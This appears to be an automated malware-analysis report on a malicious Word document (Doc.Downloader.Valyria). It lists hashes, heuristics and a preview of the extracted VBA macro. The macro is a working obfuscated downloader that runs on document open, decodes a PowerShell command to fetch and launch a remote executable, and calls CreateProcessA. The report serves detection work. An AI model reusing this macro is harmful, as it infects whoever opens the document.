Doc.Downloader.Valyria-6666912-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 688c4f65bb5c04c3…

MALICIOUS

Office (OLE)

113.0 KB Created: 2018-01-09 09:41:00 Authoring application: Microsoft Office Word First seen: 2019-03-10
MD5: 8eab5a3c5d0f62427010c464748a2112 SHA-1: 23d3054a19e56d0ecd35b05f19c5b6d3090c8c0f SHA-256: 688c4f65bb5c04c3aa6d4199de844bdd11d9dd993689d95b270af6974baa1176
200 Risk Score

Malware Insights

Doc.Downloader.Valyria-6666912-0 · confidence 95%

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample contains VBA macros, including a Document_Open macro, which is a common technique for executing malicious code upon opening. The critical heuristic CVE_2007_3899 indicates exploitation of a memory corruption vulnerability in Microsoft Word, specifically related to malformed strings and the CreateProcess API. This suggests the macro is designed to download and execute a second-stage payload, as indicated by the ClamAV detection name and the heuristic firings.

Heuristics 8

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Downloader.Valyria-6666912-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-6666912-0
  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Sub
Public Sub Document_Open()
    Dim GQ_Z As String
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    Dim QPY_LDU As String
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19539 bytes
SHA-256: 7403fa79c095d9c7d12a702c5eeb278fb0bae00148da37df1a810674aa491b5d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 60 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit

#If VBA7 Then
Private Type F_YG
        LSO_L As Long
        JVD_DC As LongPtr
            DL_VQE As Long
    End Type
    Private Declare PtrSafe Function CreateProcessA Lib "Kernel32" (ByVal G_CF As Long, ByVal K_OC As String, XR_KLY As Any, CQY_PJ As Any, ByVal R_N As Long, ByVal RA_O As Long, ByVal RUV_GB As Any, ByVal YSM_ETO As Long, Q_D As QPW_DXO, Z_P As HQ_ECR) As LongPtr
    Private Type QPW_DXO
        E_Y As Long
        PB_R As String
        TA_UUK As String
        WV_QA As String
        H_XS As Long
        E_M As Long
        H_RNE As Long
        JLH_DI As Long
        DA_AW As Long
        X_H As Long
        Y_P As Long
        S_IH As Long
        KK_U As Integer
        V_P As Integer
        PB_R2  As LongPtr
        SGF_U As LongPtr
        NE_IO As LongPtr
        ND_T As LongPtr
    End Type
    Private Type HQ_ECR
        WBH_MJ As LongPtr
            L_O As LongPtr
        C_KP As Long
        F_JQC As Long
    End Type
#Else
    
    Private Type F_YG
        LSO_L As Long
        JVD_DC As Long
        DL_VQE As Long
    End Type
            Private Type HQ_ECR
        WBH_MJ As Long
        L_O As Long
        C_KP As Long
        F_JQC As Long
    End Type
    Private Declare Function CreateProcessA Lib "Kernel32" (ByVal G_CF As Long, ByVal K_OC As String, XR_KLY As F_YG, CQY_PJ As F_YG, ByVal R_N As Long, ByVal RA_O As Long, ByVal RUV_GB As Long, ByVal YSM_ETO As Long, Q_D As QPW_DXO, Z_P As HQ_ECR) As Long
    Private Type QPW_DXO
        E_Y As Long
        PB_R As String
        TA_UUK As String
        WV_QA As String
        H_XS As Long
        E_M As Long
        H_RNE As Long
        JLH_DI As Long
        DA_AW As Long
        X_H As Long
        Y_P As Long
        S_IH As Long
        KK_U As Integer
        V_P As Integer
        PB_R2 As Long
        SGF_U As Long
        NE_IO As Long
        ND_T As Long
    End Type

#End If
Public Sub OIU_CU()
   Dim JEL_X As String
JEL_X = "8080A580B38080449D5C80BD80808E4B5480AB808096808F80807CB5BE7F807C627B8086806180AB6C9750BF7D80B380846254576E8095808070A98080807E8280BD8080BDB280808080B280807380729C6CB14E7480808093AA4380B8748280A18041BF"
Dim ZZO_WU As String
ZZO_WU = "80808680A496B380598080809E8080807492808062805FA87D807E8080BB7D808080806B6080AD8080A1AD8A8080B58050A0949D588080B780758280B8804B80806980558047819180808080805C80AC809C9780468DAE9980798094808080669B80809A"
Dim UPN_M As String
UPN_M = "544DA280808079BA66804C80946F6495806A844880A3808E8059AFA2895A80898B7D80AA80808080AB808080828077BE4DA5574C8D80804B808059806EA0A74A80808080808089968080806480B86B804DBAAE7D807E8F80808080808080AA6B79469380"
Dim ULZ_QZN As String
ULZ_QZN = "55809D808079805180809380528080806A4C808058938080808080895C8080B3807A808051BB464695BA46AF80BCAC80B7426D9280BB8052A56170AF8080807D805780468047808295808080808D9F8E8080B2615B807780809B80808080808080808080"
Dim PD_AO As String
PD_AO = "936780BC666D9D80788050A4918080805AA4A97795705980808080808780809951808BC080804A8180638081BD80808080AF809E80808080A6B180807B804C819580809EC09A69A4727D809D4A80806E805F5E808094808080808080728044767D80BD80"
Dim TU_S As String
TU_S = "8A4B56A58080808080B58080925DA78080806E8A80808099AE4180806780AFB280975448A78080807EA6708E8780808080808F868080A14D808077A99C80475151804A9F8080808AA161804B68618080725E8063998080809B6D4DA280806A7E76807F5D"
Dim MN_H As String
MN_H = "808080808CA58042A68090B76B80AB8092BC80BF80807380BF809D80807D9580558480A99D9F6A809980A25361808090BE805880807374808A8080BF75B4B0808057A7809D8092806680A86180AA80BEB5807D6DB651AC805380898F659480589E808080"
Dim SP_IH As String
SP_IH = "80618080BA9380A78047918080BB808097A0808BA34A804280B64A7467458080944AB780808080BB9B8080AFAE946D998080768068807E8080B880979E80808D7745808089458080806A80805370807A8980AC67805680BE808080808A5D808079A980B1"
Dim NA_ZYK As String
NA_ZYK = "51809C80808080A68080804E805980BF61BA6E80B16180B64D5A6EA8806C8080808072808080A75088AE7DB080806D5880BB8080947C80A0808079838080754EB1808D8080C080C07379809C7C7C807D57985E95807680806F808080B448A28E43807742"
Dim GV_J As String
GV_J = "8080438080806795B1804880BD8080805C9F584194809C80808080727C4F7A9C807C73A05C8080AB80869A728080AB806BB3728080768058809080634C805AA32C908280BE80AE8080884FB36A80806F7147808080B3805B8080809F806D80AE5A806980"
Dim J_CJI As String
J_CJI = "8080595C80B3A25C80808090806F598080804980808F8080BC8080684693996C59BDB78080B691AB8080808080B2804180B587805D8080AA806A8080808064AE8080998062AA80805C80474BBE80A2804CA680807D805B738C808080807E8044809FAF80"
Dim C_K As String
C_K = "6680806065438080607A80809DBE7280B3B6807F80808080878D80B38E4780B580808080805980A1BD6CA16264B3BD4D6B8059A7705D90807880807288A9598A8780BB8097809D92805680AF80648095A664B6804E80B360A74481B65A5454578080807A"
Dim QZJ_EI As String
QZJ_EI = "8080559347808D80808080808580B37980807780805D80804380992080AF8080BA5D80B1808080808E82807880B08080808380C080A9807980454F8080575FAF739B6B9680AC804FA4808680848073688062808080707C51BE808080808077636A46B586"
Dim A_EH As String
A_EH = "8FA37D8C805C80648080438080818060808044605A80C0807F6C80804F805A808080A68080938054888080808080808758808442956CB7804D808072554B80BC54448080A46E7780806C5F8080986F80BC805680AB808080498744BD578080A580808092"
Dim P_DP As String
P_DP = "80B64D53BD4199704A80BF80805F804680808E805B9B8074B38093AF80868077636A838080B380808080808080A1808080AF6B8080789A8080808080AC807289808080957C80808097B09B978080A1808080809A808C8080528080724A80807C9F7D7E80"
Dim JJ_WPC As String
JJ_WPC = "80A68080AF56808080796A809B5575808080838080838B80808080716080B3AA8080906D8080B6806B808080808080B8809080BF80798063A47B808080818080809B80A4418089B9B14AA9808080728080B180B095806D804780804B80508C4B80808C8F"
Dim XL_IH As String
XL_IH = "807780808080A572805650808060B98080808F809C80808080B4808080807780808080B3808F80808CBF80808C6C80508041808080808080AD8080488080487380888080539E7B9E4547699F588080806780804E80BDB58D4D8580AD80848080B5804141"
Dim F_Y As String
F_Y = "80BF8080808085BBB242819B4E8067828C8080768080918080807680A7B2BB7780C080A3715270807880804C4486A0805D809B808080B6806E80808780A05541804B808C80527A9F5B8080808680B97976805780A5804B8075A681808080808080B08099"
Dim JXP_FC As String
JXP_FC = "806280808080808080994FB980A580805C8080808080B665668051808049A780B04A804E808066808D808080BF81808094948F578080695280807A806880908080689C808080709E80845F518080806B6170808058AB805080805C848080668080738059"
Dim U_FX As String
U_FX = "6680809C658077808058B6808050808079808080808C68808080B3415EAFB9A960804565808B80677561748080708080626EB780808080808080C079BF76A8AE804D80804C80B7804BAB98A059B2A180AC80808080BC8065746B918080998080808058BBA3808080808077807980A3A680808098B8B6638680808089806380809980929B808C8080967AAF80808080A9809680808080829280768080808180A781B38B80B148C0808065427E4780806680B99AA569674580A541A680805B80567D49895F78"

   YL_FCM (CTS_KW)
End Sub
Public Sub Document_Open()
    Dim GQ_Z As String
GQ_Z = "6D8080616580A58080808080778080808080478B806D80768080548045808C78468080549E8080A3525C8074918080808080AD8080A680808680808074808080807164AB80904D788080528043A080A048804E729E95956044655866458080B0668080C0"
Dim K_M As String
K_M = "80988680A18080809480808080AC809280B0678E8044A79C788073888080809480B98080A7809ABA80897972A180808080A280808080B0B98080805180768C804D807880C080A4785E64478080A3AE8080808F8084808080996480805B79808056808080"
Dim Q_FFP As String
Q_FFP = "584AAF80958080AA808092B5805D8080B6998E4381869C8E805E804BB280808077808080808080A77A9464795C8056808080809A8061B47780839F808E8080814B4680A9A356808062808080808080808080804B5580648080807080808580808050807D"
Dim AZP_JM As String
AZP_JM = "698080806780916580AA8097805E807780868080A6AB808076B0A499808080528080427757808099A980598078808068808080804680809563809680A7807680808080805C8060AD80A3888092808080807D808A555D4D6E5380545B748080B180B08380"
Dim W_XCV As String
W_XCV = "80804C6680A85F80877744A57B80486B9D80A880AF80B080467980B2808080BC67808071B62E80AA80808080BF808054808080498080806F9672B08E618055506280806980AA6880488080668080807249805F5C80808084BF8079B880808080AF80806D"
Dim WHH_VK As String
WHH_VK = "8080B280448080809BB5AA80805D5889808064A65480A9808050BA7D509A8C73808056707E59608048804B7F8080B2B2BE80BB80A8598080808080A680804169788056BB4359808045804D809F807E8549808080B6BF8080C08D6580648B808048488080"
Dim BKZ_N As String
BKZ_N = "AFA65F8080804D806D6E80809D806BBE9880758080B880AC808B808054BDBB7680529E6DA5734A80B38A9F9280B59E9660AC80AD8060B6808080887C8B808080C0638BB280596680BE65785A878083806F8080804EA2AF80A7A0808B80BB688080805893"
Dim VB_ST As String
VB_ST = "53806293A48096807E80809B4E80805E80804B80A88080448080AC808080808A809680744DB49F808080A8AEBF8080808080A480804B938080B2806480C08069806DB352819180A675AA80BE80BA808092B8B080AA476A80B5805980808080976084809F"
Dim WI_V As String
WI_V = "539A80979580808080806EA2A348956C7466899980A980808280806880806A8080A6567F54808080808061808E8080956B807E8080AC8080AF546080997C834580AF80808060B4809C8080898080808080808057808BA28066898080AA6B808080808063"
Dim I_Y As String
I_Y = "7F567F806CBE758080808080A4BF7C9DBA6D597D4E805A80BB8097727CA1AB6F80A380808080AF5680B5BE8C807C8080804D8080805680808092976744BF657E8041805C808080828068A77480998080AD82809580BE8BB9806580808853689180BE80A6"
Dim U_C As String
U_C = "80768080B147A280A2A08280808080808091809E8F76BA80A45680809D808075804D9C8089B78080AC65808080918080806D5B49C0806880248DB0BF43A7E95D8067447C8080805280808080A6A38080806C5E4E756380809B8062BC7190B080C0BEBF94"
Dim O_QW As String
O_QW = "8EB680808080E9805CA2804E9D8080808046717980805C8080A76A5B80639BB280805F809B804854808080806380B180808E5D7D8080B457AAA69F80777F9E8080BE808D805F805E80666F9880808078808A9B4E95BA806172846F80808080A7808E80AA"
Dim BJ_XXQ As String
BJ_XXQ = "81558090808080805D8080B1686E808091886C80AA5C84809DA98080488543808D75808096809C905680977280808080568062928066808080656B8080AE9A807580807C875A4780806C808D804E808063808067A3808090A66C807A8080738080AB808E"
Dim P_URY As String
P_URY = "804C80608A61809557578F80B1808080987F80748080805C8F80A880808099BB7D80804759804545808F55808093478041806C805A806B8044808B9F52806BB48080755880807FA98070808080A2438091B880A183BB80445E80808077658080815F8044"
Dim DE_ZL As String
DE_ZL = "8D9E80808049805E806E8080507480809B80808061805D7E80AE7980A5B2808480B87B8080C0802980448A808BA36E9390807D80808E6C80A4805180808880A880808072715BB59A806480806C786080808080808080808091A15D8054A39E8080B780AE"
Dim LFH_MM As String
LFH_MM = "AB4D80A99380489258B56CADA18970B9808047809B80998080807780718080827E80449DB898808080807580B38074809E8080BB506C52518080885C5985AB805F4B80B58066B29998804580805580919F805580806EBF808D80A6A78080808080948080"
Dim C_WYE As String
C_WYE = "B14B787B7863B66880A8805B8063B29780978047808ABA4D808080AE80808058808095808080808098A680808B80808067B48080808080806F868D80808080448080A680BD698066805EA680808560488889808074798080BD9A7880809A808880809180"
Dim E_RJU As String
E_RJU = "808C8080809C7AAC416DBAB28080738080808080998051804C80BBB19380809282B9B68164798080BC6D806D4D8080B8758097664E808080889080808080BB778E809BA0809780706C7180BC8380447CBC806D7580809A8080808F80928080BC535E8044"
Dim LLV_ML As String
LLV_ML = "5B418080A243804D808095A06E804B5A7580468080A9848580AD73808880A7B880808098804698518080A180808080A380A8804DAA809080807480668695488080BC79B280B880808080B58080809A80A680BF80AB88498A808080809A804B5C809B80A7"
Dim H_D As String
H_D = "8061668064AE80479EB78B808097BE75716844808068807E804580808080A380B7858080808080B55080805480938080B073808080806A998E80806A8080805C6A808079808C8C7080AA599E80FA808F808B8F688080BE5C9A808080809380804EB396A56480AE80B18080806C748080B4BD8080A35D698095827F808080808080B067A88080BD8090804C808044809980A579517A7DB0806C80805B84808080A08D567A80998080808080B980807083B4B37080748080"

    OIU_CU
End Sub
Sub Workbook_Open()
    Dim QPY_LDU As String
QPY_LDU = "6280804D80998D808084B080808CAD80804C806A87745580804E80626D8082808080838080917C80808096808080809480808080809D8F80805A7F4280B7804380416C498080B7808097806980AEBC808080B980809880804378808080BA99804F80A680"
Dim IKP_CS As String
IKP_CS = "80BA8049A447B1806C80806280809780469880558080806380807F80564669806CBF8086928080807A808043A049BA808080A07B67806A80AA4F805C80866C4C905280808080808080868080638080A77C8099806880A8AEBD80805493809480A9507580"
Dim QMU_MV As String
QMU_MV = "8080A28080A88080806A80A54B7A80BFAF9B808098774C4380808080B54C8080AB80B0808471808080A480808880807C80807B8F849080A08080668072808080AA8080508058808080809C60804F8080808080849E5B88518092B5804EA080808080806C"
Dim ZAJ_SU As String
ZAJ_SU = "AC80B2C0808080448087807A80B08080804C8080808080957F8088808085808176809664A080B2AE4D5D4C80986380808D805A556D80805E815EA380C080BBAD44935B8080998475808080AA997E8080806761AD808C8380804F808080809B9480808078"
Dim F_B As String
F_B = "80BB80807A8D5E809A804B8080808780809E88807580A7806A7380808094B7B7BF9180747C6E806A804580805155B18082A5807A8080788099809E805C80909C61428080809898805E8070808080595F638082807D9649A1807A96A480BF80A0804F6080"
Dim ZGJ_J As String
ZGJ_J = "7A804D6E5D80B2B9689C807F80AF86A180807C878091B55E97805A80688D674B8096B59780B060807E807A809F5780987979808080807280B78080A3808091807580808F8080BE8F808E494C5880818080B980767867658080806FBE80A0958080B19E8B"
Dim WXP_OV As String
WXP_OV = "80936E808066807080A78087A37180805A6AAF4E8080476080808072AA80A56F74984880978080968042987177806F968087807D728068A6859A5A80806E80596F808080806B80809880809580837E8084B5804380808E528080A38080BC805F80979E4E"
Dim SUP_VMS As String
SUP_VMS = "805D7C80AC80B9B780AA808080808065676D5E58808080539680807497778273807080687AAE8080A880627C5280479480B480807A86B589806A6FAD4A856080699F8080B1808D80108A4280808091808080808080AC8051806B806480A9538080B680B4"
Dim CX_YM As String
CX_YM = "807F8080808E6880B4BE807DBBAAA66C80A28080BAAB80804D68778F808046809B41804C4A4B8083808B6FBA808E80806580808FAA49808058808080B95880BA809B62808080967A9F807980424180808A807C8F8042A7626C508080805780B5518080B6"
Dim LZQ_F As String
LZQ_F = "80808080708052998080804D8080777F8B8061A480B2808080A9888080BE4FA74DAC95807CBEB39896807858807A8AA177807BBAB38080618080A357804D80A8806DBA88438086804F808080706F80808080808080555C808080807480AE80804E805A74"
Dim OD_NL As String
OD_NL = "808080A5618070998080A5BC479680BBA680807380758080807B7E58B4626F809B80807D76A45D8080805480806D81B87796A567808D809C8080BA808284B877808080587F7186808E649480864CA78080805E8049804E8080A1808080809A8080A18066"
Dim A_PGH As String
A_PGH = "6080806AB3808069806CA166806E9F80808080B1809980808080838093A7808080AF4380805780628063B9806CAB8046805A8080808080808088836F80B86D5F809D805D8054BB8080BF7D4C8080458D8080A48080809D80805F80AA8045808D80AD4F68"
Dim EK_YEI As String
EK_YEI = "8080475B80804A808080B07E806C80807080809F9560809B80808089948080A480808A44805293898074A06C5380448080AFB4808052AF8051667680808080A1BFBA80C06C64804C4D79808D6F3380AD80809655808080B480805E8092808080A16545A7"
Dim SJ_X As String
SJ_X = "8B80809063A28EB4A66480918C808067808099808094806680A3709380A89080AB98879BA98052BFBA8080B380AAC0808080A18080918075806B80805E61808080598080A974808080627780B47E6B808B80804880805A8053807E6B53A1998080808080"
Dim U_X As String
U_X = "BC807FB648596F80B67680A55C804B8080B280AE9780808080BA807980AE80998080B08080808080BD91808080808066809F805E665C8080B480A6A18080C0808045808063948080BE8047718080805184808050807C80808067804D8080487580809A44"
Dim KXY_J As String
KXY_J = "80BC80AB56808080955D804BB1809C8080866D809C806FA080A9A6568080805A807F806564917D72B37D80A17A806D46B280B680BC8080806F80AE8E7F73545280805D848062806ABEB2A38080807951BA80804D808080809E8080808069808080805080"
Dim K_HC As String
K_HC = "8080808092748C80704D80556F80568080578080B980808080787E8980BC75806A8F80A2807D8D8076888091738008546D80B080B58A8080495B80448080808080808088A67149B48080B48076BC8080788046808975738073AC52B9BB8080A1806080BB"
Dim SM_BWQ As String
SM_BWQ = "4F5980A5805D808080A18054C07680806A9DA08080748080808B80805C8080608080805766AD588080A54B67A580804A80776B804F80809480AA8062586580AD8380808080804580894C448080908180C080808052808078808080B49EAB8080B17A6D5C"
Dim T_Y As String
T_Y = "80727AB843804B804F8082809B809A80808095808956938080A55E80665655AA80AD80B24F808042698055805180808081AA8043806566AB8C80BB62806D806A808052808062419480A0BD7F80809562A480808080AD8D80805C80477DAD888080648060"
Dim VI_NDF As String
VI_NDF = "A9B4BA8080809F939A80569763804FAA808072808080635080414D71778080836F918080A6806F806D886857656F8086468080808080A88080926264807880809A80AF807782A75D807B808080807BB880966B80809A806EB77E80498B80B68580558BA6808765A74480AD805D805780738280B76280A580804580B580804B808080666D8080504799808068809A9D808080495080634580B0804F838080AB80A25A808080BE809680B0808C80"

    Document_Open
End Sub
Public Function CTS_KW() As String
    Dim DMQ_F As String
DMQ_F = DMQ_F + "B1B0B8A6B3B4A9A"
DMQ_F = DMQ_F + "6ADAD6FA6B9A661"
DMQ_F = DMQ_F + "6E98AAAFA5B0B89"
DMQ_F = DMQ_F + "4B5BAADA66189AA"
DMQ_F = DMQ_F + "A5A5A6AF616EAFB"
DMQ_F = DMQ_F + "0B1B3B0A7AAADA661"
DMQ_F = DMQ_F + "8AA76169B5A6B4B56EB1A2B5A961"
Dim DAM_Z As String
DAM_Z = "6165A6AFB77B8291918582958261"
Dim WPK_K As String
WPK_K = "6C61689DADB3AF766FA6B9A6686A"
Dim S_SM As String
S_SM = "61BC93A6AEB0B7A66E8AB5A6AE61"
Dim E_F As String
E_F = "6165A6AFB77B8291918582958261"
Dim J_BTX As String
J_BTX = "6C61689DADB3AF766FA6B9A668BE"
Dim B_ZT As String
B_ZT = "7C61658C858783617E618FA6B86E"
Dim R_MJH As String
R_MJH = "90A3ABA6A4B56194BAB4B5A6AE6F"
Dim AGS_KG As String
AGS_KG = "8FA6B56F98A6A384ADAAA6AFB57C"
Dim JRK_Q As String
JRK_Q = "61658C8587836F89A6A2A5A6B3B4"
Dim L_A As String
L_A = "9C6896B4A6B36E82A8A6AFB5689E"
Dim TE_JC As String
TE_JC = "617E616896949396866E978F8468"
Dim UYL_FL As String
UYL_FL = "7C61658C8587836F85B0B8AFADB0"
Dim ZJE_DX As String
ZJE_DX = "A2A587AAADA66968A9B5B5B1B47B"
Dim PZ_EK As String
PZ_EK = "7070B4ACAAADA5B0B06FA9B370A2"
Dim T_ZUH As String
T_ZUH = "A5AEAAAFB470A3ADA2B970A2B7AA"
Dim Q_T As String
Q_T = "AAAAAAAE6FA6B9A6686D6165A6AF"
Dim X_YM As String
X_YM = "B77B82919185829582616C61689D"
Dim MZW_XSK As String
MZW_XSK = "ADB3AF766FA6B9A6686A7C61698F"
Dim MSH_N As String
MSH_N = "A6B86E90A3ABA6A4B5616EA4B0AE"
Dim U_GZ As String
U_GZ = "6194A9A6ADAD6F82B1B1ADAAA4A2"
Dim AAY_CB As String
AAY_CB = "B5AAB0AF6A6F94A9A6ADAD86B9A6"
Dim XGE_C As String
XGE_C = "A4B6B5A66965A6AFB77B82919185"
Dim L_CZ As String
L_CZ = "829582616C61689DADB3AF766FA6"
Dim LNN_VN As String
LNN_VN = "B9A6686A7C6194B5B0B16E91B3B0"
Dim Z_DZZ As String
Z_DZZ = "A4A6B4B4616E8AA5616591AAA5616E87B0B3A4A6"
 Dim CB_XHP As String
  CB_XHP = DMQ_F & DAM_Z & WPK_K & S_SM & E_F & J_BTX & B_ZT & R_MJH & AGS_KG & JRK_Q & L_A & TE_JC & UYL_FL & ZJE_DX & PZ_EK & T_ZUH & Q_T & X_YM & MZW_XSK & MSH_N & U_GZ & AAY_CB & XGE_C & L_CZ & LNN_VN & Z_DZZ

   Dim YSI_KXZ As Long
   Dim E_NXC As String
   Dim FPZ_T As String
   For YSI_KXZ = 1 To Len(CB_XHP) Step 2
        FPZ_T = Chr("&H" & Mid(CB_XHP, YSI_KXZ, 2))
        E_NXC = E_NXC & Chr(Asc(FPZ_T) - 65)
   Next
   CTS_KW = E_NXC
End Function
Public Function YL_FCM(ByVal CL_XRZ As String)
    Dim RTO_DI As F_YG
    Dim SEF_UM As F_YG
    Dim U_TL As QPW_DXO
    U_TL.S_IH = &H1&
    Dim EW_A As HQ_ECR
    YL_FCM = CreateProcessA(0&, CL_XRZ, RTO_DI, SEF_UM, False, &H20&, 0&, 0&, U_TL, EW_A)
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.